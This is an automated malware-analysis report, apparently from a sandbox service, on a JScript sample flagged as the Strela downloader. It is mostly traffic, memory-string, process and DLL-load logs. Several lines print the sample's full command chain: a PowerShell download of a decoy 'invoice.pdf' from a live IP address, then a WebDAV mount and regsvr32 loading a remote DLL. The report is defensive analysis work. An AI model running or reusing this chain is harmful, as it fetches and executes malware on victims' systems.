HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1484491290.00000170BA75F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1545642112.000001FF38790000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1556974672.000001FF387BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1539481227.000001FF387BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M~
Source: net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/q~Hx
Source: svchost.exe, 00000009.00000002.2768100745.0000021C38200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1546651905.0000021C37F70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6368, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3881066198165199.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0yp4eua.u1g.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,10686114949434199213,11936468120320487856,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,10686114949434199213,11936468120320487856,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
